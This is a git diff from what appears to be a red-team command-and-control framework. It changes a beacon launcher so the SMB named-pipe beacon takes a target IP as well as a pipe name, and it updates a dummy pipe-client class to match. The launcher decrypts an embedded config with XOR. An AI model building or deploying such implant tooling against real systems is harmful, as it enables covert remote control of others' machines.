diff --git a/beacon/beacon/BeaconSmbLauncher.cpp b/beacon/beacon/BeaconSmbLauncher.cpp index 03df979..d493fad 100644 --- a/beacon/beacon/BeaconSmbLauncher.cpp +++ b/beacon/beacon/BeaconSmbLauncher.cpp @@ -8,16 +8,20 @@ using namespace std; int main(int argc, char* argv[]) { + std::string ip = "127.0.0.1"; std::string pipeName = "mynamedpipe"; - if(argc > 1) - pipeName = argv[1]; + if(argc > 2) + { + ip = argv[1]; + pipeName = argv[2]; + } std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_)); std::string keyConfig(std::begin(_KeyConfig_), std::end(_KeyConfig_)); XOR(configDecrypt, keyConfig); std::unique_ptr beacon; - beacon = make_unique(configDecrypt, pipeName); + beacon = make_unique(configDecrypt, ip, pipeName); beacon->run(); } \ No newline at end of file diff --git a/core b/core index 3a537ba..6901888 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 3a537ba1b4395ef60878c3dfcd938caaa79e36c2 +Subproject commit 69018881f03935f81f4b536d77435e5b09692539 diff --git a/libs/libPipeHandlerDumy/src/PipeHandler.cpp b/libs/libPipeHandlerDumy/src/PipeHandler.cpp index 00b1085..25d5e57 100644 --- a/libs/libPipeHandlerDumy/src/PipeHandler.cpp +++ b/libs/libPipeHandlerDumy/src/PipeHandler.cpp @@ -42,7 +42,7 @@ bool Server::receiveData(std::string& data) // https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-client -Client::Client(const std::string& pipeName) +Client::Client(const std::string& ip, const std::string& pipeName) { } diff --git a/libs/libPipeHandlerDumy/src/PipeHandler.hpp b/libs/libPipeHandlerDumy/src/PipeHandler.hpp index cb6b68f..c4f7faf 100644 --- a/libs/libPipeHandlerDumy/src/PipeHandler.hpp +++ b/libs/libPipeHandlerDumy/src/PipeHandler.hpp @@ -32,7 +32,7 @@ private: class Client { public: - Client(const std::string& pipeName); + Client(const std::string& ip, const std::string& pipeName); ~Client(); bool initConnection();